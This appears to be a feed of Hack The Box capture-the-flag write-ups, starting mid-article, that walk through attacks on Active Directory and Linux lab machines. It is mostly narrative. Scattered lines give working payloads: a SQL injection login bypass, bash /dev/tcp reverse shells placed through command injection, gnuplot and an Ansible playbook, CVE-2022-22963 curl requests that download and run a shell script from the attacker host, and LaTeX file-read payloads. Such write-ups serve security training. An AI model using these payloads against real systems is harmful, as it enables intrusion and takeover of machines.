This meant that a tool like SharpGPOAbuse could be used to add enterprise-security to the Administrators group. So I started a python web server that contained SharpGPOAbuse.exe:

Downloaded it onto the target with certutil.exe:

With SharpGPOAbuse.exe, I added enterprise-security as a local admin to the AD objects linked to the SECURITY-POL-VN GPO. In this case, the domain VULNNET.LOCAL:

The default refresh cycle for Group Policy is about every 90 minutes, but an update can be forced with gpupdate /force:

Checking group membership again showed that enterprise-security was now in the Administrators group:

Listing the shares confirmed administrative access:

Using psexec.py, I obtained a shell as nt authority\system:

Hack The Box - Timelapse

Fri, 24 Nov 2023 00:00:00 GMT

Timelapse is a Windows machine running Active Directory with an open SMB share that contains a password-protected ZIP archive. The password can be cracked, revealing another password-protected file—this time a PFX, which can also be cracked. With access to the PFX, the certificate and private key can be extracted and used to make a connection via WinRM. After enumerating the system, credentials for another user can be found within ConsoleHost_history.txt and then used to move laterally. This user is a member of the LAPS_Readers group which allows access to local admin passwords on the machine, resulting in a shell as Administrator.

nmap scan:

Notable open ports:

53 (DNS)
88 (Kerberos)
139, 445 (SMB)
464 (kpasswd)
389 (LDAP)
636 (LDAPS)
5986 (WinRM over SSL)

Active Directory:

domain: timelapse.htb
hostname: DC01

SMB allowed anonymous logon, so I listed the shares with crackmapexec:

With read access on Shares, I used smbclient to view the share:

I downloaded both folders. HelpDesk contained some documentation and an installer file for setting up LAPS, there wasn't any useful sensitive data, but it was an indication that LAPS was being used on the system. Dev contained winrm_backup.zip which required a password to access:

I used zip2john to process the ZIP into a hash that JtR could work with:

JtR cracked the password:

I was then able to unzip the archive which contained legacyy_dev_auth.pfx:

A PFX (Personal Information Exchange) file is used to store a variety of cryptographic data (e.g., private keys, public key certificates, etc.) and since legacyy_dev_auth.pfx was located in a ZIP called winrm_backup.zip, it could be assumed that the PFX was storing an SSL private key and certificate that could be used to login to the machine given that WinRM supports authentication using a PFX.

In order to use the PFX to authenticate, the private key and certificate must be extracted into PEM format which required a password:

I used pfx2john to convert the PFX into a compatible hash for JtR:

JtR cracked the password:

Now that I had the password for the PFX , I was able to use openssl to extract the private key and certificate into PEM format:

evil-winrm made a connection using the certificate (legacyy_cert.pem) and private key (legacyy_private_key.pem) as the user legacyy:

As part of the enumeration process, first I checked group membership for legacyy as well as the user's privileges, but there wasn't anything too useful:

The C:\Users directory showed a few additional users on the system: Administrator, svc_deploy, and TRX:

Administrator and TRX were both members of Domain Admins:

Next, I checked ConsoleHost_history.txt which is located in $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ to see if it had anything interesting. ConsoleHost_history.txt in PowerShell is similar to .bash_history in Linux in that it's used to record command-line history on the machine. In this case, it contained credentials for svc_deploy:

I used the credentials to get a shell as svc_deploy:

Checking group membership for svc_deploy showed that the user was a member of LAPS_Readers:

LAPS (Local Administrator Password Solution) is used to manage local administrator passwords in an Active Directory environment. The main purpose of LAPS is to improve the security of local administrator passwords by generating a unique and complex password for the local administrator account on each computer at a configured frequency.

Members of the LAPS_Readers group have the ability to read the password of the local administrator which is stored in the ms-mcs-admpwd property:

Shell as Administrator:

Hack The Box - Blue

Thu, 16 Nov 2023 00:00:00 GMT

Blue is a Windows machine running SMB. A scan with Nmap can reveal that the box is vulnerable to EternalBlue, an exploit that targets a flaw in the way SMBv1 handles packets which can be leveraged for remote code execution. Exploiting the EternalBlue vulnerability results in a system shell.

nmap scan:

Notable open ports:

135 (MSRPC)
139, 445 (SMB)

SMB allowed anonymous logon and I was able to list the shares using crackmapexec:

I downloaded the readable shares, but Share was empty and Users didn't contain anything useful. However, the output above also showed that SMBv1 was enabled. Running SMBv1 on Windows 7 suggests a vulnerability to EternalBlue (MS17-010). I ran the smb-vuln-ms17-010.nse script from nmap to confirm:

So given that the machine was vulnerable, I cloned AutoBlue-MS17-010 from GitHub which provides a way to generate shellcode and exploit MS17-010 with or without Metasploit:

Within the shellcode directory, the shell_prep.sh script is used to generate the payloads using msfvenom. Running it will prompt for various parameters, and then it will generate shellcode for both x64 and x86 architectures.

Generated payloads:

Next, I started a Netcat listener:

Since the target was a Windows 7 machine, I used the eternalblue_exploit7.py script to run the exploit along with sc_x64.bin as the payload:

nc caught a shell as nt authority\system:

Hack The Box - Return

Sun, 12 Nov 2023 00:00:00 GMT

Return is a Windows machine running Active Directory. A webpage featuring a printer admin panel can be leveraged to reveal LDAP credentials, allowing for a shell to be obtained on the system via WinRM. Enumeration leads to the discovery that the user is a member of a privileged group, granting them the ability to modify local services. This privilege can be exploited by editing the binary path of a service to execute a payload, resulting in a system shell.

nmap scan:

Open ports:

53 (DNS)
80 (HTTP)
88 (Kerberos)
135, 593 (MSRPC)
139, 445 (SMB)
464 (kpasswd)
389, 3268 (LDAP)
636, 3269 (LDAPS)

Active Directory:

domain name: return.local
hostname: PRINTER

Webpage on port 80:

On the settings page, the only field that seemed to accept input without immediately changing back to the original value was the Server Address:

So to check if any data was getting sent over port 389, I started a Netcat listener:

Then, I inputted my machine's tun0 IP address into the Server Address field:

What looked to be a password for the svc-printer user was revealed:

The credentials successfully authenticated and evil-winrm was able to make a connection:

Checking group membership showed that svc-printer was a member of the Server Operators group:

Members of the Server Operators group can perform some privileged actions on domain controllers. As stated on the Microsoft Docs:

Members of the Server Operators group can administer domain controllers. This group exists only on domain controllers. By default, the group has no members. Members of the Server Operators group can take the following actions: sign in to a server interactively, create and delete network shared resources, start and stop services, back up and restore files, format the hard disk drive of the computer, and shut down the computer. This group can't be renamed, deleted, or removed.

Based on the permissions granted to members of the Server Operators group, service configurations could potentially be modified, thus creating opportunities for privilege escalation. One method involves altering the binary path of a service running with elevated privileges, such as LocalSystem, to run an executable or command that sends a reverse shell.

First, I used msfvenom to create a reverse TCP payload (rev-shell.exe):

I uploaded rev-shell.exe onto the target machine:

Started a local Netcat listener:

The Volume Shadow Copy service (VSS) typically runs as LocalSystem by default, and in this case, the service was writable. So using sc.exe, I configured the binary path of VSS to point to the location of the payload ("C\Users\svc-printer\Desktop\rev-shell.exe"). Then, I ran sc.exe start VSS to start it:

Once the service started, rev-shell.exe was executed, and a connection was established as nt authority\system:

Hack The Box - Sauna

Thu, 02 Nov 2023 00:00:00 GMT

Sauna is a Windows machine featuring an Active Directory environment. A list of potential usernames can be generated based on a webpage that contains employee names. The username list can then be used to run an AS-REP roasting attack, resulting in a hash for one of the users which can be cracked offline. After making a WinRM connection to the box, system enumeration can be performed with WinPEAS, leading to the discovery of credentials for another user with an auto logon configuration. Further enumeration with BloodHound shows that this user has privileges that grant the ability to perform a DCSync attack, allowing for the retrieval of the Administrator user's password hash which can be used to obtain a shell as nt authority\system.

nmap scan:

Notable open ports:

53 (DNS)
80 (HTTP)
88 (Kerberos)
135 (MSRPC)
139, 445 (SMB)
464 (kpasswd)
389, 3268 (LDAP)
636, 3269 (LDAPS)
5985 (WinRM)

Active Directory:

domain name: EGOTISTICAL-BANK.LOCAL
hostname: SAUNA

Webpage on port 80:

The most interesting part of the website was the about page which contained a section that mentioned employee names:

Since the machine was running Active Directory, I used the employee names to make a wordlist consisting of various usernames based on the common AD naming conventions so that I could use it to try and discover any AS-REP-Roastable accounts:

GetNPUsers.py from Impacket with the specified list of usernames:

A hash was retrieved for the fsmith user due to this account not requiring Kerberos pre-authentication:

I saved the ticket in a file called hash.txt and used JtR to crack the password:

evil-winrm established a connection as fsmith:

Next, to check for any possible paths to escalate privileges, I transferred WinPEAS onto the machine and ran it:

The script found the svc_loanmanager user with AutoLogon enabled. AutoLogon stores credentials on the system, and in this case, they were able to be discovered:

svc_loanmanager wasn't a user on the system, but there was a user named svc_loanmgr:

Attempting to make a connection with evil-winrm with the username svc_loanmgr and password Moneymakestheworldgoround! successfully authenticated:

Next, I used bloodhound-python to collect AD data and get a better idea of the environment:

After importing the data into bloodhound, the Find Principals with DCSync Rights query showed that svc_loanmgr had DCSync on the domain:

The help info showed the two privileges that allow a DCSync attack to occur, DS-Replication-Get-Changes and DS-Replication-Get-Changes-All:

This could also be seen by viewing First Degree Object Control for svc_loanmgr:

BloodHound provides two methods of performing the DCSync attack. One way is with mimikatz which is done from within the target windows environment:

I uploaded mimikatz onto the system and executed it along with the command that extracts the NTLM hash of the Administrator:

The other way is done remotely with secretsdump.py from Impacket:

Both methods above accomplish the same goal which is to obtain the NTLM hash of the Administrator.

I used psexec.py to pass the hash of the Administrator and get a shell as nt authority\system:

Hack The Box - Active

Tue, 31 Oct 2023 00:00:00 GMT

Active is a Windows machine running Active Directory with an open SMB share that contains an encrypted GPP (Group Policy Preferences) password for the SVC_TGS account. After decrypting the password, the credentials can be leveraged for a kerberoast attack, resulting in the TGS for the Administrator user. The TGS is encrypted with the password hash of the user which can be cracked offline and then used to obtain a shell as nt authority\system.

nmap scan:

Notable open ports:

88 (Kerberos)
135, 593 (MSRPC)
139, 445 (SMB)
464 (kpasswd)
389 (LDAP)
636 (LDAPS)

Active Directory:

domain name: active.htb
hostname: DC

SMB accepted anonymous logon and I was able to list the shares:

With read access to the Replication share, I used the spider_plus module from crackmapexec to download it:

The share looked to be a replication of SYSVOL. I found Groups.xml which stores Group Policy Preferences:

Viewing Groups.xml revealed a GPP encrypted password within the cpassword attribute:

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

As stated here in the Microsoft documentation, all GPP passwords are encrypted using the same AES key:

 4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
 f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b

Since AES is a symmetric encryption algorithm, the same key is used for both encryption and decryption. So I used gpp-decrypt to decrypt the password:

The credentials successfully authenticated to SMB which now granted read access the Users share:

Downloaded the share as an authenticated user:

The user flag can be found in /Users/SVC_TGS/Desktop:

Next, while looking for ways to escalate privileges, I checked for kerberoastable accounts since I had valid credentials for SVC_TGS. I used GetUserSPNs.py from Impacket which searches for accounts with SPNs, and when found, it sends a TGS request to the KDC (due to the -request flag) to retrieve a TGS. The TGS is encrypted using the NTLM hash of the account the service is associated with. Since the Administrator account had an SPN (active/CIFS:445), I was able to obtain a TGS for that account:

I saved the ticket in a file called hash.txt and used JtR to crack the password:

With the Administrator user's credentials, I used psexec.py to obtain a shell as nt authority\system:

Hack The Box - Forest

Sun, 08 Oct 2023 00:00:00 GMT

Forest is a Windows machine running Active Directory. An anonymous LDAP bind allows for enumeration of the system which can be leveraged to AS-REP-Roast a list of users and obtain a TGT encrypted with a user's password hash. After cracking the password offline, the credentials can be used to authenticate and further enumerate the system, resulting in the discovery that the compromised user is a member of the Account Operators group (members of this group have account creation, modification, and group membership management privileges). Therefore, a new user can be added to another privileged group (Exchange Windows Permissions) which has WriteDacl access rights on the domain, this grants the ability to run a DCSync attack and reveal the NTLM hash for the Administrator account.

nmap scan:

Open ports:

53 (DNS)
88 (Kerberos)
135, 593 (MSRPC)
139, 445 (SMB)
464 (kpasswd)
389, 3268 (LDAP)
636, 3269 (LDAPS)

Active Directory:

domain name: htb.local
hostname: FOREST

I attempted an anonymous LDAP bind with crackmapexec which allowed me to view users on the system:

I created a list of users and ran GetNPUsers.py from Impacket to see if any accounts were vulnerable to AS-REP-Roasting.

As shown in the output above, svc-alfresco was the only user with the UF_DONT_REQUIRE_PREAUTH flag set (meaning that Kerberos pre-authentication wasn't required), resulting in the retrieval of the AS-REP message with a TGT that has been encrypted with the user's NTLM password hash. So I saved the TGT in a file called hash.txt and cracked it with JtR:

I confirmed the creds worked by making a connection with evil-winrm:

With the valid credentials I was able to authenticate and collect AD data with bloodhound-python to do some further enumeration:

After importing the data into bloodhound, viewing reachable high value targets for svc-alfresco showed that the user was a member of the Account Operators group due to nested group membership (Service Accounts → Privileged IT Accounts → Account Operators):

Members of the Account Operators group have a certain level of administrative rights. As stated on the Microsoft Docs:

The Account Operators group grants limited account creation privileges to a user. Members of this group can create and modify most types of accounts, including accounts for users, Local groups, and Global groups. Group members can log in locally to domain controllers.

As shown below, Account Operators had GenericAll on the Exchange Windows Permissions group which had WriteDacl on the domain, as a result, members of this group could grant themselves any privileges on the HTB.LOCAL object.

I used the WriteDacl Windows abuse info provided in bloodhound as a guide to run a DCSync attack. Although, I had to make some modifications to make it work properly.

Privilege escalation consisted of the following steps:

Since I needed the Add-DomainObjectAcl cmdlet from PowerView for one of the final steps to grant the user DCSync permission, I started a local python server which contained PowerView.ps1 from PowerSploit:

Downloaded it onto the target machine and imported the script into the current session:

Created a new user (user1) and added the account to the Exchange Windows Permissions group:

Granted user1 DCSync permission:

Used secretsdump.py to dump NTLM hashes:

I ran psexec.py to pass the hash of the Administrator user to obtain a shell as nt authority\system:

Hack The Box - Cronos

Fri, 25 Aug 2023 00:00:00 GMT

Cronos is a Linux machine hosting a website with an admin subdomain that contains a login form with a SQL injection vulnerability. After bypassing the login, a page is brought up that provides the ability to execute ping or traceroute and view the output. The form for this functionality is susceptible to command injection and can be leveraged to obtain a shell on the box. Enumeration of the system leads to the discovery of a cron job that runs a PHP script as root; the current user (www-data) owns this file and thus has full permissions, therefore the automated task can be exploited by adding custom code to the script that when executed, establishes a reverse shell as root.

nmap scan:

Open ports:

22 (SSH)
53 (DNS)
80 (HTTP)

I added cronos.htb to /etc/hosts and visited the page:

The page above didn't give much to go off of yet, so I enumerated for subdomains with ffuf:

A subdomain was found at admin.cronos.htb, I added it to /etc/hosts and browsed there which brought up a login page:

A basic SQL injection of ' or 1=1 -- - bypassed the login:

The admin page contained "Net Tool v0.1" which could be used to run either traceroute or ping:

I tested for command injection with ;id after the IP address:

The output confirmed successful command injection:

I started a listener with nc and sent the following payload to get a shell:

8.8.8.8;bash -c 'bash -i >& /dev/tcp/10.10.14.26/443 0>&1'

Obtained a shell as www-data:

config.php within /var/www/admin contained MySQL credentials:

I logged in to view the admin database and found a username and password in the users table:

The password seemed to be a potential MD5 hash so I went to hashes.com to crack it:

A password was found, but the only place it worked was on the admin.cronos.htb page which wasn't useful because I already had access to that page anyway. So, I continued to enumerate the system and while doing so, found the user flag in /home/noulis:

After some further enumeration, I found a task within /etc/crontab that ran a PHP script every minute as root:

www-data owned this file and had full permissions:

I added the following line to the artisan script:

Once the task ran, nc caught a shell as root:

Hack The Box - Authority

Thu, 20 Jul 2023 00:00:00 GMT

Authority is a Windows machine running Active Directory that has an open SMB share containing ansible vault encrypted credentials. Once decrypted, one of the credentials can be used to login to the configuration manager for PWM (a password self-service for LDAP directories). This grants access to a configuration XML file that can be modified to reveal the plaintext password for a service account on the system. The obtained credentials can be used to make a WinRM connection to the machine. During enumeration of the AD environment, a vulnerable certificate template (ESC1) is discovered that gives machines in the Domain Computers group the right to request a certificate as any user in the domain, this can be leveraged to authenticate to the LDAPS server and perform actions on the system as the administrator, resulting in a system shell (nt authority/system).

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Authority]
└─$ nmap -sC -sV 10.10.11.222 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-20 12:43 EDT
Nmap scan report for authority.htb (10.10.11.222)
Host is up (0.041s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-07-20 20:43:10Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
<...snip...>
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
<...snip...>
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
8443/tcp open  ssl/https-alt
<...snip...>
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 3h59m59s, deviation: 0s, median: 3h59m59s
| smb2-time: 
|   date: 2023-07-20T20:43:52
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.51 seconds

Most notable open ports:

53 (DNS)
80 (HTTP)
88 (Kerberos)
445 (SMB)
389, 3268 (LDAP)
636, 3269 (LDAPS)
8443 (HTTPS)

Active Directory:

domain name: authority.htb
hostname: AUTHORITY

First, I visited the webpage on port 80 which was just a default page for a Microsoft IIS server and it didn't seem to have anything useful.

I proceeded with the typical Windows machine enumeration and checked if the open SMB port accepted anonymous logon and it did. The Development share had read permission:

spider_plus from crackmapexec listed all the files from the readable share:

The generated JSON file from spider_plus:

{
    "Development": {
        <...snip...>
        "Automation/Ansible/ADCS/defaults/main.yml": {
            "atime_epoch": "2023-04-23 18:50:28",
            "ctime_epoch": "2023-03-17 09:20:48",
            "mtime_epoch": "2023-04-23 18:50:28",
            "size": "1.54 KB"
        },
        <...snip...>
        "Automation/Ansible/LDAP/defaults/main.yml": {
            "atime_epoch": "2023-03-17 09:20:48",
            "ctime_epoch": "2023-03-17 09:20:48",
            "mtime_epoch": "2023-04-23 18:51:08",
            "size": "1.02 KB"
        },
        <...snip...>
        "Automation/Ansible/PWM/defaults/main.yml": {
            "atime_epoch": "2023-04-23 18:51:38",
            "ctime_epoch": "2023-03-17 09:20:48",
            "mtime_epoch": "2023-04-23 18:51:38",
            "size": "1.55 KB"
        },
        <...snip...>
        "Automation/Ansible/SHARE/tasks/main.yml": {
            "atime_epoch": "2023-03-17 09:20:48",
            "ctime_epoch": "2023-03-17 09:20:48",
            "mtime_epoch": "2023-03-17 09:37:52",
            "size": "1.83 KB"
        }
    }
}

The Development share contained some interesting directories, so I downloaded it:

There were a few files that contained credentials. However, the most interesting was /PWM/defaults/main.yml which had encrypted ansible vault credentials:

ansible-vault requires a vault password for decryption:

I needed to format the encrypted data into a compatible hash for JtR with ansible2john:

Then, JtR was able to crack the hash:

With the cracked vault password, I was able to decrypt the ansible vault data in PWM/defaults/main.yml:

While looking for a place where these credentials could be used, I checked the webpage running on port 8443 which was a password manager application (PWM):

None of the creds worked on the initial sign in page, but one worked on the configuration manager login page:

The configuration manager panel had an option to import a configuration or download the current one:

So, I downloaded the configuration:

The XML contained an encrypted password for the svc_ldap user:

At the top of the XML file, there's a comment that mentions how to store values unencrypted by setting the storePlaintextValues property to true:

Therefore, I edited the config file to include the following property:

I imported the modified config which signed out of the current session and restarted the application. After logging back in, I downloaded the new config to confirm that the new property was added:

This allowed me to view the plaintext password of the svc_ldap user:

Attempting to authenticate with crackmapexec verified that the creds were valid:

With the valid creds, I used bloodhound-python to collect AD data:

After importing the data into bloodhound, I found that svc_ldap could PSRemote into the DC, this was a strong indication that I could make a WinRM connection to the machine:

evil-winrm established a connection as the svc_ldap user:

As part of the process of enumerating AD for potential vectors to escalate privileges, I ran Certipy to look for any vulnerable certificate templates:

certipy found that the CorpVPN template had an ESC1 vulnerability:

The template above is vulnerable due to the following configurations:

Client Authentication : True - an issued certificate can be used for client authentication purposes.
Enrollee Supplies Subject : True - a Subject Alternative Name can be specified which allows a certificate to be requested as another user on the system (e.g., administrator).
Requires Manager Approval : False - a requested certificate doesn't require approval from a user with certificate manager permissions.
Authorized Signatures Required : 0 - no authorized signatures are required to sign the CSR for the CA to accept it.
Enrollment Rights : AUTHORITY.HTB\Domain Computers - this gives low-level users the ability to request a certificate by simply joining a computer to the domain.

So, first I used Impacket to join a computer to the domain:

Then, I requested a certificate with certipy as the newly created machine account. I specified the certificate authority, dns name, CorpVPN template, and supplied the user principal name of administrator@authority.htb:

When I tried to authenticate with the certificate, I received a Kerberos session error:

This was most likely occurring due to an issue with smart card logon.

As stated in the Microsoft Docs:

There's a useful tool that accounts for a situation like this by providing a way to authenticate against an LDAP server with SChannel: PassTheCert

To use passthecert.py, I extracted the cert and key from the pfx with certipy:

Then, I was able to use the cert and key to run the whoami action to verify that the certificate was for the administrator:

I spawned an LDAP shell and added svc_ldap to the Domain Admins group:

crackmapexec confirmed that the svc_ldap user now had administrative access:

Finally, I used psexec.py from Impacket to login as svc_ldap and obtain a shell as nt authority\system:

Hack The Box - Topology

Thu, 13 Jul 2023 00:00:00 GMT

Topology is a Linux machine hosting a website with a PNG image generator based on LaTeX inline math mode commands. This feature can be exploited to read arbitrary files on the server, resulting in the exposure of a password hash for a user that can then be cracked and used to SSH into the box. Once on the machine, monitoring system processes can lead to the discovery of a cronjob that executes any .plt scripts within a specific directory using gnuplot, this automated task can be leveraged to obtain a root shell by writing a malicious script within the specified directory.

nmap scan:

Open ports:

22 (SSH)
80 (HTTP)

Since port 80 was open, I visited the webpage which brought up the following home page:

A link on the page leads to latex.topology.htb, so I added that to /etc/hosts. It's an image generator that creates a PNG based on LaTeX inline math mode syntax commands as input:

I started testing some payloads from HackTricks to try and get LFI. The following command outputted "Illegal command detected. Sorry."

\input{/etc/passwd}

Next, I tried the \lstinputlisting command:

\lstinputlisting{/etc/passwd}

This outputted an error message, but didn't mention anything about the command being illegal:

After some trial and error, eventually I found that wrapping the command in $ displayed the /etc/passwd file:

$\lstinputlisting{/etc/passwd}$

/etc/passwd:

Viewing /etc/passwd showed a user on the system, vdaisley. I tried viewing some other files on the server and found that it's an Apache server by viewing /etc/apache2/apache2.conf, but other than that, I didn't find anything too useful up to this point.

Next, I used ffuf to enumerate subdomains:

Two subdomains were found: dev and stats, so I added both to /etc/hosts. stats.topology.htb contained a couple graphs that plotted network and server data. dev.topology.htb required a username and password:

However, knowing that there was a dev subdomain, I could use that to try and find a .htpasswd file which is the conventional place to find password hashes for authentication on an Apache server.

A typical Linux file structure for web subdomains looks something like this:

/var/www/
└── html/
    ├── index.html
    ...
└── subdomain/
    ├── index.html
    └── .htpasswd
    ...

The following command revealed the password hash for vdaisley:

$\lstinputlisting{/var/www/dev/.htpasswd}$

I used JtR to crack the hash:

dev.topology.htb was just a simple landing page and didn't contain anything useful. But, I used the credentials for vdaisley to SSH into the machine:

At this point, I was looking for potential paths for privilege escalation, so I used pspy to monitor processes that could be exploitable:

I noticed a process running every minute that executed any .plt files within /opt/gnuplot as root:

Checking the permissions of /gnuplot, showed that all users had write and execute permissions:

Gnuplot is a command-line program used for plotting graphs, charts, and visualizations. A .plt file which is used by gnuplot to execute scripts, can run system commands. So, I could write a custom .plt script within the directory to get a root shell.

I started a Netcat listener:

In /opt/gnuplot, I wrote a .plt file that uses the system gnuplot command to execute a reverse shell one-liner.

test.plt:

system "bash -c 'bash -i >& /dev/tcp/10.10.14.25/9001 0>&1'"

Once the task ran, nc caught a root shell:

Hack The Box - Inject

Fri, 07 Jul 2023 00:00:00 GMT

Inject is a Linux machine hosting a cloud storage and collaboration app built with Java and the Spring framework. A route on the app has a query parameter susceptible to LFI and can lead to the discovery of dependencies for the app, one of which is vulnerable to RCE (CVE-2022-22963) and can be leveraged to get a shell. Once on the system, enumeration can lead to user credentials within an XML file allowing for lateral movement. System monitoring with pspy reveals that an automated task periodically running on the machine attempts to execute any Ansible playbooks within the /opt/automation/tasks directory. This can be exploited by writing a custom playbook containing a reverse shell command that when executed, leads to a root shell.

nmap scan:

Ports open:

22 (SSH)
8080 (HTTP)

A visit to the webpage on port 8080 showed a cloud app for storing and sharing files:

The upload link at the top right of the page brought up a file upload form:

After uploading an image, a link was provided to view it:

The link redirected to the following route with a query parameter containing the uploaded image:

10.10.11.204:8080/show_image?img=test.png

I intercepted the request with Burp Suite:

Then, I found an LFI vulnerability by passing in ../ as the value to the parameter which responded with some files on the server:

I traversed a couple more directories and found a pom.xml file that contained some interesting app info (e.g. project metadata, configuration data, and dependencies). One of the dependencies being used to implement the cloud functionality, version 3.2.2 of Spring Cloud is vulnerable to remote code execution (CVE-2022-22963):

CVE-2022-22963 is a vulnerability that allows an attacker to execute arbitrary code on a server running Spring Cloud by sending a specially crafted HTTP header. The vulnerability exists within the spring.cloud.function.routing-expression header which uses Spring Expression Language (SpEL) as a routing expression to determine which function should be used for a given request. In susceptible versions of Spring Cloud, this header isn't properly validated which allows for the injection of commands on the host machine.

The article here provides more info on CVE-2022-22963 and also includes a PoC.

So, I took the following steps to catch a shell:

Created the following shell.sh script:

#!/bin/bash

/bin/sh -i >& /dev/tcp/10.10.14.25/9001 0>&1

Started a python http server:

Also, started a netcat listener:

Sent the following POST request with curl which downloaded the shell script onto the target machine in the /tmp directory:

curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("wget http://10.10.14.25:8000/shell.sh -P /tmp")' -d 'data' http://10.10.11.204:8080/functionRouter

Once the script was on the target, I sent another request to make it executable:

curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/shell.sh")' -d 'data' http://10.10.11.204:8080/functionRouter

The final request executed the script:

curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("/tmp/shell.sh")' -d 'data' http://10.10.11.204:8080/functionRouter

nc caught a shell as the user frank:

Once I was on the system, I found another user, phil. This user's account contained the user flag, but I couldn't read it since frank didn't have permission:

I did some further enumeration and found credentials for phil within /home/frank/.m2/settings.xml:

This allowed me to switch to the phil user's account:

To look for a potential path for privilege escalation, I used pspy to monitor system processes.

I noticed a process using ansible-parallel to execute any YAML files within the /opt/automation/tasks directory that ran every two minutes and executed as root:

2023/07/07 05:56:01 CMD: UID=0     PID=2597   | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml

Ansible is a tool to automate tasks (which are declared in YAML files called playbooks) and ansible-parallel allows for the execution of multiple Ansible playbooks in parallel.

So, I checked the permissions of /opt/automation/tasks which showed that members of the staff group had read, write, and execute permissions on files within the directory:

phil was a member of the staff group:

To get a root shell, all I needed to do was write a custom playbook that contained a reverse shell command.

I started a Netcat listener:

Then, to write a file with nano I needed a stable shell, so I ran the following commands:

python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm

Ctrl + Z

stty raw -echo; fg

Next, within /opt/automation/tasks, I wrote a custom playbook that uses the ansible.builtin.shell module to execute the command:

new_playbook.yml:

- hosts: localhost
  tasks:
    - name: Execute command
      ansible.builtin.shell:
        cmd: "bash -c 'bash -i >& /dev/tcp/10.10.14.25/9001 0>&1'"

A few moments later, the task ran and sent a root shell back to my machine:

Hack The Box - MonitorsTwo

Tue, 04 Jul 2023 00:00:00 GMT

MonitorsTwo is a Linux machine with a web application that uses Cacti, a web based monitoring and fault management framework. The version of Cacti running is vulnerable to arbitrary command injection (CVE-2022-46169) and can be exploited to get a reverse shell within a Docker container. Enumeration of the container can lead to the discovery of password hashes for users on the system, one of which can be cracked and used to SSH into the underlying host machine. An email on the machine mentions a few vulnerabilities that need to be addressed, one of these vulnerabilities (CVE-2021-41091) seems to stand out as it involves exploiting Moby (Docker Engine) to escalate privileges and get a root shell.

nmap scan:

Open ports:

22 (SSH)
80 (HTTP)

Visiting the webpage brought up a login form for Cacti:

The Bottom of the form showed that its built with Cacti Version 1.2.22, so I did a Google search to check for any vulnerabilities and found this PoC for CVE-2022-46169.

CVE-2022-46169 is a command injection vulnerability that allows an unauthenticated user to execute arbitrary code on a server running Cacti by exploiting the remote_agent.php file to bypass authentication. This can then be leveraged to trigger an action that executes a PHP script which allows arbitrary strings and can lead to command injection. More detail about the vulnerability on NVD.

I ran the PoC and caught a shell as www-data:

Listing the files within the / directory showed two interesting files: .dockerenv and entrypoint.sh, indicating that I was within a Docker container:

entrypoint.sh is a typical script used for setup and configuration of containerized applications. So, I read the script which contained some mysql database commands:

Running the command mysql --host=db --user=root --password=root cacti -e "show tables" in the terminal listed out the tables on the database:

Of the listed tables, user_auth seemed to be a likely candidate for user credentials:

So, I retrieved all the rows from the user_auth table with the command mysql --host=db --user=root --password=root cacti -e "select * from user_auth;". This revealed usernames and password hashes:

Two of the hashes were prefixed with $2y$ which indicated that they were bcrypt.

JtR cracked one of the hashes after about five minutes which allowed me to log in over SSH as the user marcus:

Upon logging in, the user flag can be found here (/home/marcus). There was also a mail notification, so I went to /var/mail and found the following email:

The message above notes a few vulnerabilities to be aware of. The final one listed jumped out at me as a good path to try and get a root shell (CVE-2021-41091), as it consists of exploiting Docker's overlay file system to traverse the data directory contents and execute programs with extended permissions within a container to escalate privileges on the host system.

There's a PoC for CVE-2021-41091 here. As stated on the PoC GitHub page, root access needs to be obtained on the Docker container in order to run the exploit. So I enumerated the system with LinPEAS to try and find a way to escalate privileges:

The results showed that the /sbin/capsh SUID binary was worth looking into. I checked GTFOBins and found that running ./capsh --gid=0 --uid=0 -- should escalate privileges to root:

Within /sbin I ran the command ./capsh --gid=0 --uid=0 -- which escalated to root within the Docker container:

The next step of the exploit was to set the SUID bit on /bin/bash:

Then, I downloaded the exploit script onto the host system and executed it:

The exploit was successful and provided a current vulnerable path, so I went to that directory and ran ./bin/bash -p to get a root shell:

Hack The Box - Busqueda

